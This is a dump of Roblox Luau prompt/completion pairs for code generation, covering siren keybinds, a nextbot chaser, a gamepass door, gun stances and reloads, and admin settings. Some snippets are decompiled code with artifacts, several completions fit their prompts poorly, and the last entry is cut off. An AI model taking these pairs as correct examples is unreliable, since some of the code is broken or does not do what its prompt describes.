prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Runs the soft shutdown Gui to warn players.
|
local Players = game:GetService("Players")
local StarterGui = game:GetService("StarterGui")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
|
--// # key, ManOn
|
mouse.KeyDown:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Man:Play()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
veh.Lightbar.MAN.Transparency = 0
end
end)
|
--[[
SmokeExplosion
Description: This simple script creates a smoke cloud where the grenade is.
]]
| |
-- Decompiled with the Synapse X Luau decompiler.
|
script.Parent.MouseButton1Down:Connect(function()
script.Parent.Parent.Visible = false;
end);
|
-- zone 0 is all zones, any other zone is whatever that zone is (integer)
| |
--local debris = game:GetService("Debris")
|
local bot = script.Parent -- bot stuff
local bhum = bot:WaitForChild('Humanoid')
local bhrp = bot:WaitForChild('HumanoidRootPart')
local findPath = PFS:CreatePath({WaypointSpacing = math.huge})
local actPath = PFS:CreatePath({WaypointSpacing = math.huge})
local followedChar -- the one we are already following
local char -- the one which we follow
local function nearestChar()
while wait() do
local nearChar, nearDist = nil, nil
local distance
local firstPos
for i,v in pairs(workspace:GetChildren()) do
if v:FindFirstChild('Humanoid') and v ~= bot and v.Humanoid.Health > 0 and v:FindFirstChild('HumanoidRootPart') then
findPath:ComputeAsync(bhrp.Position, v.HumanoidRootPart.Position)
if findPath.Status == Enum.PathStatus.Success then
distance = 0
for i,waypoint in ipairs(findPath:GetWaypoints()) do
if i ~= 1 then
distance = distance + (waypoint.Position - firstPos).Magnitude
end
firstPos = waypoint.Position
end
if nearDist == nil then
nearDist = distance
nearChar = v
else
if distance < nearDist then
nearDist = distance
nearChar = v
end
end
end
end
end
char = nearChar
end
end
spawn(nearestChar)
local count = 0
RunS.Heartbeat:Connect(function()
if count >= 3 then -- You may change this number to your liking, but if you set it too low nextbot will lag
count = 0
if char ~= nil and char:FindFirstChild('HumanoidRootPart') then
actPath:ComputeAsync(bhrp.Position, char.HumanoidRootPart.Position)
for i,v in ipairs(actPath:GetWaypoints()) do
if i ~= 1 then
bhum:MoveTo(v.Position)
bhum.MoveToFinished:Wait()
end
end
end
else
count = count + 1
end
end)
|
--[=[
Creates a new Blend State which is actually just a ValueObject underneath.
@param defaultValue T
@return ValueObject<T>
]=]
|
function Blend.State(defaultValue)
return ValueObject.new(defaultValue)
end
function Blend.Dynamic(...)
return Blend.Computed(...)
:Pipe({
-- This switch map is relatively expensive, so we don't do this for defaul computed
-- and instead force the user to switch to another promise
Rx.switchMap(function(promise, ...)
if Promise.isPromise(promise) then
return Rx.fromPromise(promise)
elseif Observable.isObservable(promise) then
return promise
else
return Rx.of(promise, ...)
end
end)
})
end
|
-- Images
|
local DEFAULT_IMAGE = "rbxassetid://4102781967"
local MOBILE_IMAGE = "rbxassetid://4179091377"
local CONSOLE_IMAGE = "rbxassetid://4184944552"
|
-- ROBLOX MOVED: expect/utils.lua
|
local function isObject(a: any)
return a ~= nil and typeof(a) == "table"
end
|
-----------------------------------------------------------------------------------------------
|
Door = script.Parent
Serv = game:GetService("BadgeService")
MServ = game:GetService("MarketplaceService")
if not _G.Players then
_G.Players = {[ItemID] = {}}
elseif not _G.Players[ItemID] then
_G.Players[ItemID] = {}
end
Table = _G.Players[ItemID]
function CheckPlayer(player2)
for i = 1,#Table do
if Table[i] == player2 then
return true
end
end
return false
end
Door.Touched:connect(function(hit)
if game.Players:GetPlayerFromCharacter(hit.Parent) then
player = game.Players:GetPlayerFromCharacter(hit.Parent)
if Serv:UserHasBadge(player.userId,ItemID) or CheckPlayer(player) then
-- Door.CanCollide = false-- Door.Transparency = OpenTrans
wait(OpenTime)
-- Door.CanCollide = true --Door.Transparency = CloseTrans
else
-- Door.CanCollide = true-- Door.Transparency = CloseTrans
if BuyGUI == true then
MServ:PromptGamePassPurchase(player,ItemID)
h = player.Character:FindFirstChild("Humanoid")
if h then
h.WalkSpeed = 16 end
local con
con = MServ.PromptGamePassPurchaseFinished:connect(function(ply,asset,purch)
if ply == player and asset == ItemID then
con:disconnect()
if purch then
if h then
h.WalkSpeed = 16 end
table.insert(Table,player)
elseif KillOnTouch == true then
player.Character:BreakJoints()
end
end
end)
elseif KillOnTouch == true then
-- Door.CanCollide = true --Door.Transparency = CloseTrans
player.Character:BreakJoints()
end
end
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
v1.__index = v1;
function v1.new()
local v2 = setmetatable({}, v1);
v2.lastUpdate = tick();
v2.transparencyDirty = false;
v2.enabled = false;
v2.lastTransparency = nil;
v2.descendantAddedConn = nil;
v2.descendantRemovingConn = nil;
v2.toolDescendantAddedConns = {};
v2.toolDescendantRemovingConns = {};
v2.cachedParts = {};
return v2;
end;
function v1.HasToolAncestor(p1, p2)
if p2.Parent == nil then
return false;
end;
return p2.Parent:IsA("Tool") or p1:HasToolAncestor(p2.Parent);
end;
function v1.IsValidPartToModify(p3, p4)
if not p4:IsA("BasePart") and not p4:IsA("Decal") then
return false;
end;
return not p3:HasToolAncestor(p4);
end;
function v1.CachePartsRecursive(p5, p6)
if p6 then
if p5:IsValidPartToModify(p6) then
p5.cachedParts[p6] = true;
p5.transparencyDirty = true;
end;
for v3, v4 in pairs(p6:GetChildren()) do
p5:CachePartsRecursive(v4);
end;
end;
end;
function v1.TeardownTransparency(p7)
for v5, v6 in pairs(p7.cachedParts) do
v5.LocalTransparencyModifier = 0;
end;
p7.cachedParts = {};
p7.transparencyDirty = true;
p7.lastTransparency = nil;
if p7.descendantAddedConn then
p7.descendantAddedConn:disconnect();
p7.descendantAddedConn = nil;
end;
if p7.descendantRemovingConn then
p7.descendantRemovingConn:disconnect();
p7.descendantRemovingConn = nil;
end;
for v7, v8 in pairs(p7.toolDescendantAddedConns) do
v8:Disconnect();
p7.toolDescendantAddedConns[v7] = nil;
end;
for v9, v10 in pairs(p7.toolDescendantRemovingConns) do
v10:Disconnect();
p7.toolDescendantRemovingConns[v9] = nil;
end;
end;
function v1.SetupTransparency(p8, p9)
p8:TeardownTransparency();
if p8.descendantAddedConn then
p8.descendantAddedConn:disconnect();
end;
p8.descendantAddedConn = p9.DescendantAdded:Connect(function(p10)
if p8:IsValidPartToModify(p10) then
p8.cachedParts[p10] = true;
p8.transparencyDirty = true;
return;
end;
if p10:IsA("Tool") then
if p8.toolDescendantAddedConns[p10] then
p8.toolDescendantAddedConns[p10]:Disconnect();
end;
p8.toolDescendantAddedConns[p10] = p10.DescendantAdded:Connect(function(p11)
p8.cachedParts[p11] = nil;
if p11:IsA("BasePart") or p11:IsA("Decal") then
p11.LocalTransparencyModifier = 0;
end;
end);
if p8.toolDescendantRemovingConns[p10] then
p8.toolDescendantRemovingConns[p10]:disconnect();
end;
p8.toolDescendantRemovingConns[p10] = p10.DescendantRemoving:Connect(function(p12)
wait();
if p9 and p12 and p12:IsDescendantOf(p9) and p8:IsValidPartToModify(p12) then
p8.cachedParts[p12] = true;
p8.transparencyDirty = true;
end;
end);
end;
end);
if p8.descendantRemovingConn then
p8.descendantRemovingConn:disconnect();
end;
p8.descendantRemovingConn = p9.DescendantRemoving:connect(function(p13)
if p8.cachedParts[p13] then
p8.cachedParts[p13] = nil;
p13.LocalTransparencyModifier = 0;
end;
end);
p8:CachePartsRecursive(p9);
end;
function v1.Enable(p14, p15)
if p14.enabled ~= p15 then
p14.enabled = p15;
p14:Update();
end;
end;
function v1.SetSubject(p16, p17)
local v11 = nil;
if p17 and p17:IsA("Humanoid") then
v11 = p17.Parent;
end;
if p17 and p17:IsA("VehicleSeat") and p17.Occupant then
v11 = p17.Occupant.Parent;
end;
if not v11 then
p16:TeardownTransparency();
return;
end;
p16:SetupTransparency(v11);
end;
local u1 = require(script.Parent:WaitForChild("CameraUtils"));
function v1.Update(p18)
local v12 = tick();
local l__CurrentCamera__13 = workspace.CurrentCamera;
if l__CurrentCamera__13 then
local v14 = 0;
if p18.enabled then
local l__magnitude__15 = (l__CurrentCamera__13.Focus.p - l__CurrentCamera__13.CoordinateFrame.p).magnitude;
local v16 = l__magnitude__15 < 2 and 1 - (l__magnitude__15 - 0.5) / 1.5 or 0;
if v16 < 0.5 then
v16 = 0;
end;
if p18.lastTransparency then
local v17 = v16 - p18.lastTransparency;
if not false and v16 < 1 and p18.lastTransparency < 0.95 then
local v18 = 2.8 * (v12 - p18.lastUpdate);
v17 = math.clamp(v17, -v18, v18);
end;
v16 = p18.lastTransparency + v17;
else
p18.transparencyDirty = true;
end;
v14 = math.clamp(u1.Round(v16, 2), 0, 1);
end;
if p18.transparencyDirty or p18.lastTransparency ~= v14 then
for v19, v20 in pairs(p18.cachedParts) do
v19.LocalTransparencyModifier = v14;
end;
p18.transparencyDirty = false;
p18.lastTransparency = v14;
end;
end;
p18.lastUpdate = v12;
end;
return v1;
|
--[światła]
|
p1 = script.Parent.Parent.p1
legansio = false
sp1 = script.Parent.Parent.sp1
legansio = false
p2 = script.Parent.Parent.p2
legansio = false
sp2 = script.Parent.Parent.sp2
legansio = false
p3 = script.Parent.Parent.p3
legansio = false
sp3 = script.Parent.Parent.sp3
legansio = false
p4 = script.Parent.Parent.p4
legansio = false
sp4 = script.Parent.Parent.sp4
legansio = false
p5 = script.Parent.Parent.p5
legansio = false
sp5 = script.Parent.Parent.sp5
legansio = false
p6 = script.Parent.Parent.p6
legansio = false
sp6 = script.Parent.Parent.sp6
legansio = false
p7 = script.Parent.Parent.p7
legansio = false
sp7 = script.Parent.Parent.sp7
legansio = false
l1 = script.Parent.Parent.l1
legansio = false
sl1 = script.Parent.Parent.sl1
legansio = false
l2 = script.Parent.Parent.l2
legansio = false
sl2 = script.Parent.Parent.sl2
legansio = false
l3 = script.Parent.Parent.l3
legansio = false
sl3 = script.Parent.Parent.sl3
legansio = false
l4 = script.Parent.Parent.l4
legansio = false
sl4 = script.Parent.Parent.sl4
legansio = false
l5 = script.Parent.Parent.l5
legansio = false
sl5 = script.Parent.Parent.sl5
legansio = false
l6 = script.Parent.Parent.l6
legansio = false
sl6 = script.Parent.Parent.sl6
legansio = false
l7 = script.Parent.Parent.l7
legansio = false
sl7 = script.Parent.Parent.sl7
legansio = false
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Classes.Base.Scholar.Lumos.Value == true and plrData.Classes.Base.Scholar.XP.Value >= 100 and plrData.Classes.Base.Scholar.Ignis.Value ~= true
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Money.Gold.Value >= 30
end
|
----- EXAMPLE CODE -----
|
local weldList1 = WeldAllToPart(P, P.Main) -- Weld a model, returns a list of welds.
UnanchorWeldList(weldList1) -- Unanchores the list of welds given.
script:Destroy() -- Clean up this script.
|
-----------------
--| Constants |--
-----------------
|
local SHOT_SPEED =1000
local SHOT_TIME = 5
local NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = client.UI.Make("Window", {
Name = "Settings",
Title = "Settings",
Size = { 225, 200 },
AllowMultiple = false
});
local v2 = { {
Text = "Keybinds: ",
Desc = "- Enabled/Disables Keybinds",
Entry = "Boolean",
Value = client.Variables.KeybindsEnabled,
Function = function(p2, p3)
client.Variables.KeybindsEnabled = p2;
p3.Text = "Saving..";
client.Remote.Get("UpdateClient", "KeybindsEnabled", p2);
p3.Text = p3.Text;
end
}, {
Text = "UI Keep Alive: ",
Desc = "- Prevents Adonis UI deletion on death",
Entry = "Boolean",
Value = client.Variables.UIKeepAlive,
Function = function(p4, p5)
client.Variables.UIKeepAlive = p4;
p5.Text = "Saving..";
client.Remote.Get("UpdateClient", "UIKeepAlive", p4);
p5.Text = p5.Text;
end
}, {
Text = "Particle Effects: ",
Desc = "- Enables/Disables certain Adonis made effects like sparkles",
Entry = "Boolean",
Value = client.Variables.ParticlesEnabled,
Function = function(p6, p7)
client.Variables.ParticlesEnabled = p6;
p7.Text = "Saving..";
client.Remote.Get("UpdateClient", "ParticlesEnabled", p6);
p7.Text = p7.Text;
end
}, {
Text = "Capes: ",
Desc = "- Allows you to disable all player capes locally",
Entry = "Boolean",
Value = client.Variables.CapesEnabled,
Function = function(p8, p9)
client.Variables.CapesEnabled = p8;
p9.Text = "Saving..";
client.Remote.Get("UpdateClient", "CapesEnabled", p8);
p9.Text = p9.Text;
end
}, {
Text = "Console Key: ",
Desc = "Key used to open the console",
Entry = "Button",
Value = client.Variables.CustomConsoleKey or client.Remote.Get("Setting", "ConsoleKeyCode"),
Function = function(p10)
p10.Text = "Waiting...";
local u1 = nil;
while true do
wait();
if u1 then
break;
end;
end;
client.Variables.CustomConsoleKey = u1;
service.UserInputService.InputBegan:connect(function(p11)
if not service.UserInputService:GetFocusedTextBox() and rawequal(p11.UserInputType, Enum.UserInputType.Keyboard) then
u1 = p11.KeyCode.Name;
end;
end):Disconnect();
p10.Text = "Saving..";
client.Remote.Get("UpdateClient", "CustomConsoleKey", client.Variables.CustomConsoleKey);
p10.Text = u1;
end
}, {
Text = "Theme: ",
Desc = "- Allows you to set the Adonis UI theme",
Entry = "DropDown",
Setting = "CustomTheme",
Function = function(p12)
local l__Frame__2 = gui.ThemePicker.Frame;
local l__Entry__3 = gui.ThemePicker.Entry;
local l__gui_ThemePicker__4 = gui.ThemePicker;
local l__TextButton__5 = p12.TextButton;
local function u6()
l__Frame__2:ClearAllChildren();
local v3 = { "Default" };
local v4 = 0;
for v5, v6 in pairs(client.Deps.UI:GetChildren()) do
table.insert(v3, v6.Name);
end;
for v7, v8 in pairs(v3) do
local v9 = l__Entry__3:Clone();
v9.Text = v8;
v9.Position = UDim2.new(0, 0, 0, 20 * v4);
v9.Parent = l__Frame__2;
v9.Visible = true;
v9.MouseButton1Click:connect(function()
service.Debounce("ClientSelectingTheme", function()
l__gui_ThemePicker__4.Visible = false;
l__TextButton__5.Text = v8;
client.Variables.CustomTheme = v8;
if v8 == "Default" then
client.Remote.Get("UpdateClient", "CustomTheme", nil);
return;
end;
client.Remote.Get("UpdateClient", "CustomTheme", v8);
end);
end);
v4 = v4 + 1;
end;
l__gui_ThemePicker__4.Position = UDim2.new(0, l__TextButton__5.AbsolutePosition.X, 0, l__TextButton__5.AbsolutePosition.Y);
l__gui_ThemePicker__4.Visible = true;
end;
l__TextButton__5.MouseButton1Click:connect(function()
service.Debounce("ClientDisplayThemes", function()
if l__gui_ThemePicker__4.Visible then
l__gui_ThemePicker__4.Visible = false;
return;
end;
u6();
end);
end);
if not client.Variables.CustomTheme then
l__TextButton__5.Text = "Default";
return;
end;
l__TextButton__5.Text = client.Variables.CustomTheme;
end
} };
if v1 then
local v10 = v1:Add("TabFrame", {
Size = UDim2.new(1, -10, 1, -10),
Position = UDim2.new(0, 5, 0, 5)
});
local v11 = v10:NewTab("Client", {
Text = "Client"
});
local v12 = v10:NewTab("Game", {
Text = "Game"
});
for v13, v14 in next, v2 do
if v14.Entry == "Boolean" then
v11:Add("TextLabel", {
Size = UDim2.new(1, -10, 0, 25),
Position = UDim2.new(0, 5, 0, 25 * (v13 - 1)),
TextXAlignment = "Left",
Enabled = v14.Value,
Text = v14.Text,
ToolTip = v14.Desc
}):Add("Boolean", {
Size = UDim2.new(0, 100, 0, 20),
Position = UDim2.new(1, -100, 0, 0),
Enabled = v14.Value,
OnToggle = function(p13, p14)
print("Toggled thinger");
end
});
end;
end;
v11:ResizeCanvas(false, true);
local l__gTable__15 = v1.gTable;
v1:Ready();
end;
end;
|
--[=[
Cleans up the signal.
Technically, this is only necessary if the signal is created using
`Signal.Wrap`. Connections should be properly GC'd once the signal
is no longer referenced anywhere. However, it is still good practice
to include ways to strictly clean up resources. Calling `Destroy`
on a signal will also disconnect all connections immediately.
```lua
signal:Destroy()
```
]=]
|
function Signal:Destroy()
self:DisconnectAll()
local proxyHandler = rawget(self, "_proxyHandler")
if proxyHandler then
proxyHandler:Disconnect()
end
end
|
-- удаление оригинала
|
game.Workspace.Targets.Zombie:Destroy()
|
--Wheelie tune
|
local WheelieD = 10
local WheelieTq = 90
local WheelieP = 10
local WheelieMultiplier = 1.5
local WheelieDivider = 1
|
--[[ END OF SERVICES ]]
|
local LocalPlayer = PlayersService.LocalPlayer
while LocalPlayer == nil do
PlayersService.ChildAdded:wait()
LocalPlayer = PlayersService.LocalPlayer
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local success, UserShouldLocalizeGameChatBubble = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble")
end)
local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble
local FFlagUserChatNewMessageLengthCheck2 do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserChatNewMessageLengthCheck2")
end)
FFlagUserChatNewMessageLengthCheck2 = success and result
end
local function getMessageLength(message)
return utf8.len(utf8.nfcnormalize(message))
end
|
-- Setting Up Buttons in Moblie
|
cas:BindAction("Sprint", function(_,inputState)
if inputState == Enum.UserInputState.Begin then
sprint("Begin")
else
sprint("Ended")
end
end, true, Enum.KeyCode.LeftShift)
cas:SetTitle("Sprint","Sprint")
cas:SetPosition("Sprint",UDim2.new(1, -70, 0, 10))
|
--------------------[ STANCE FUNCTIONS ]----------------------------------------------
|
function Stand(onDeselected)
local LHip = Torso["Left Hip"]
local RHip = Torso["Right Hip"]
LLegWeld.Part1 = nil
LHip.Part1 = LLeg
RLegWeld.Part1 = nil
RHip.Part1 = RLeg
Stance = 0
spreadStance = "Stand"
baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
if S.stanceSettings.Anim and (not onDeselected) then
spawn(function()
local prevStanceSway = stanceSway
local X = 0
local Increment = 1.5 / S.stanceSettings.Speed
while true do
RS.RenderStepped:wait()
local newX = X + Increment
X = (newX > 90 and 90 or newX)
if Stance ~= 0 then break end
stanceSway = numLerp(prevStanceSway, 1, Sine(X))
if X == 90 then break end
end
end)
tweenJoint(ABWeld, CF(), nil, Sine, S.stanceSettings.Speed)
tweenJoint(LLegWeld, legC0.Stand[1], nil, Sine, S.stanceSettings.Speed)
tweenJoint(RLegWeld, legC0.Stand[2], nil, Sine, S.stanceSettings.Speed)
tweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.stanceSettings.Speed)
tweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.stanceSettings.Speed)
tweenJoint(Root, CFANG(RAD(-90), 0, RAD(180)), nil, Sine, S.stanceSettings.Speed)
tweenJoint(headWeld, CF(0, 1.5, 0), nil, Sine, S.stanceSettings.Speed)
elseif onDeselected or (not S.stanceSettings.Anim) then
ABWeld.C0 = CF()
LLegWeld.C0 = legC0.Stand[1]
RLegWeld.C0 = legC0.Stand[2]
LHip.C0, LHip.C1 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0)
RHip.C0, RHip.C1 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0)
Root.C0 = CFANG(RAD(-90), 0, RAD(180))
headWeld.C0 = CF(0, 1.5, 0)
end
end
function Crouch()
local LHip = Torso["Left Hip"]
local RHip = Torso["Right Hip"]
LHip.Part1 = nil
LLegWeld.Part1 = LLeg
RHip.Part1 = nil
RLegWeld.Part1 = RLeg
Stance = 1
spreadStance = "Crouch"
baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
if S.stanceSettings.Anim then
spawn(function()
local prevStanceSway = stanceSway
local X = 0
local Increment = 1.5 / S.stanceSettings.Speed
while true do
RS.RenderStepped:wait()
local newX = X + Increment
X = (newX > 90 and 90 or newX)
if Stance ~= 1 then break end
stanceSway = numLerp(prevStanceSway, 0.75, Sine(X))
if X == 90 then break end
end
end)
tweenJoint(ABWeld, CF(0, 0, -0.05), nil, Sine, S.stanceSettings.Speed)
tweenJoint(LLegWeld, legC0.Crouch[1], nil, Sine, S.stanceSettings.Speed)
tweenJoint(RLegWeld, legC0.Crouch[2], nil, Sine, S.stanceSettings.Speed)
tweenJoint(LHip, CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)), Sine, S.stanceSettings.Speed)
tweenJoint(RHip, CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0), Sine, S.stanceSettings.Speed)
tweenJoint(Root, CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180)), nil, Sine, S.stanceSettings.Speed)
tweenJoint(headWeld, CF(0, 1.5, 0), nil, Sine, S.stanceSettings.Speed)
else
ABWeld.C0 = CF(0, 0, -1 / 16)
LLegWeld.C0 = legC0.Crouch[1]
RLegWeld.C0 = legC0.Crouch[2]
LHip.C0, LHip.C1 = CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90))
RHip.C0, RHip.C1 = CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0)
Root.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180))
headWeld.C0 = CF(0, 1.5, 0)
end
end
function Prone()
local LHip = Torso["Left Hip"]
local RHip = Torso["Right Hip"]
LHip.Part1 = nil
LLegWeld.Part1 = LLeg
RHip.Part1 = nil
RLegWeld.Part1 = RLeg
Stance = 2
spreadStance = "Prone"
baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
if S.stanceSettings.Anim then
spawn(function()
local prevStanceSway = stanceSway
local X = 0
local Increment = 1.5 / S.stanceSettings.Speed
while true do
RS.RenderStepped:wait()
local newX = X + Increment
X = (newX > 90 and 90 or newX)
if Stance ~= 2 then break end
stanceSway = numLerp(prevStanceSway, 0.5, Sine(X))
if X == 90 then break end
end
end)
tweenJoint(ABWeld, CF(0, 0, -0.1), nil, Sine, S.stanceSettings.Speed)
tweenJoint(LLegWeld, legC0.Prone[1], nil, Sine, S.stanceSettings.Speed)
tweenJoint(RLegWeld, legC0.Prone[2], nil, Sine, S.stanceSettings.Speed)
tweenJoint(Root, CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180)), nil, Sine, S.stanceSettings.Speed)
tweenJoint(headWeld, CF(0, 1, 1) * CFANG(RAD(90), 0, 0), nil, Sine, S.stanceSettings.Speed)
else
ABWeld.C0 = CF(0, 0, -1 / 8)
LLegWeld.C0 = legC0.Prone[1]
RLegWeld.C0 = legC0.Prone[2]
Root.C0 = CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180))
headWeld.C0 = CF(0, 1, 1) * CFANG(RAD(90), 0, 0)
end
end
function Dive()
onGround = false
local diveDirection = (HRP.CFrame * CFANG(S.diveSettings.Angle, 0, 0)).lookVector * S.walkSpeeds.Sprinting * S.diveSettings.Force
local BF = Instance.new("BodyForce")
BF.force = diveDirection + Vector3.new(0, playerMass * 196.2, 0)
BF.Parent = HRP
--[[spawn(function()
HRP.Velocity = HRP.CFrame.lookVector * 60 + V3(0, 40, 0)
wait(0.1)
HRP.Velocity = HRP.CFrame.lookVector * 70 + V3(0, 30, 0)
wait(0.4)
HRP.Velocity = HRP.CFrame.lookVector * 30 + V3(0, -10, 0)
end)]]
delay(0.05, function()
spawn(function()
while true do
local newRay = Ray.new(HRP.Position, V3(0, -3.1, 0))
local H, _ = workspace:FindPartOnRayWithIgnoreList(newRay, Ignore)
if H then
onGround = true
break
end
wait()
end
end)
Prone()
wait(0.1)
BF:Destroy()
end)
end
|
--------------------[ RELOAD FUNCTIONS ]----------------------------------------------
|
function ReloadAnim()
TweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
TweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
local Speed = S.ReloadTime / 2
local Mag_Parts = {}
for _, Obj in pairs(Gun:GetChildren()) do
if Obj.Name == "Mag" and Obj:IsA("BasePart") then
INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()})
end
end
local W1 = nil
local W2 = nil
local SequenceTable = {
function()
for Index, Mag in pairs(Mag_Parts) do
Mag.Original.Transparency = 1
Mag.Clone1.Parent = Gun_Ignore
Mag.Clone1.CanCollide = true
if Index ~= 1 then
local W = Instance.new("Weld")
W.Part0 = Mag_Parts[1].Clone1
W.Part1 = Mag.Clone1
W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame)
W.Parent = Mag_Parts[1].Clone1
end
end
W1 = Instance.new("Weld")
W1.Part0 = Mag_Parts[1].Clone1
W1.Part1 = Handle
W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame)
W1.Parent = Mag_Parts[1].Clone1
TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed)
TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(-20), RAD(3), 0), Linear, 0.5 * Speed)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed)
wait(0.5 * Speed)
end;
function()
TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed)
wait(0.2 * Speed)
end;
function()
W1:Destroy()
Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-1,0)) * 20
spawn(function()
while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end
for _, Mag in pairs(Mag_Parts) do
Mag.Clone1.Anchored = true
Mag.Clone1:BreakJoints()
end
end)
for Index, Mag in pairs(Mag_Parts) do
Mag.Clone2.Parent = Gun_Ignore
if Index ~= 1 then
local W = Instance.new("Weld")
W.Part0 = Mag_Parts[1].Clone2
W.Part1 = Mag.Clone2
W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame)
W.Parent = Mag_Parts[1].Clone2
end
end
W2 = Instance.new("Weld")
W2.Part0 = FakeLArm
W2.Part1 = Mag_Parts[1].Clone2
W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0)
W2.Parent = FakeLArm
wait(0.1)
end;
function()
local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse()
local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse()
local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0)
local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame)
local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF)
TweenJoint(LWeld, ArmC0[1], CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60)), Sine, 0.6 * Speed)
TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10)), Sine, 0.6 * Speed)
TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed)
TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed)
wait(0.7 * Speed)
end;
function()
for _, Mag in pairs(Mag_Parts) do
Mag.Original.Transparency = 0
Mag.Clone2:Destroy()
end
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed)
wait(0.5 * Speed)
end;
}
for _,ReloadFunction in pairs(SequenceTable) do
if BreakReload then
break
end
ReloadFunction()
end
if W1 then W1:Destroy() end
if W2 then W2:Destroy() end
for _, Mag in pairs(Mag_Parts) do
Mag.Clone1:Destroy()
Mag.Clone2:Destroy()
end
end
function Reload()
Running = false
if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then
AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip)
Ammo.Value = 0
Reloading = true
if Aimed then UnAimGun(S.ReloadAnimation) end
Gui_Clone.CrossHair.Reload.Visible = true
if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
if S.ReloadAnimation then
wait()
ReloadAnim()
else
local StartReload = tick()
while true do
if BreakReload then break end
if (tick() - StartReload) >= S.ReloadTime then break end
RS:wait()
end
end
if (not BreakReload) then
if StoredAmmo.Value >= ClipSize.Value then
Ammo.Value = ClipSize.Value
if AmmoInClip > 0 then
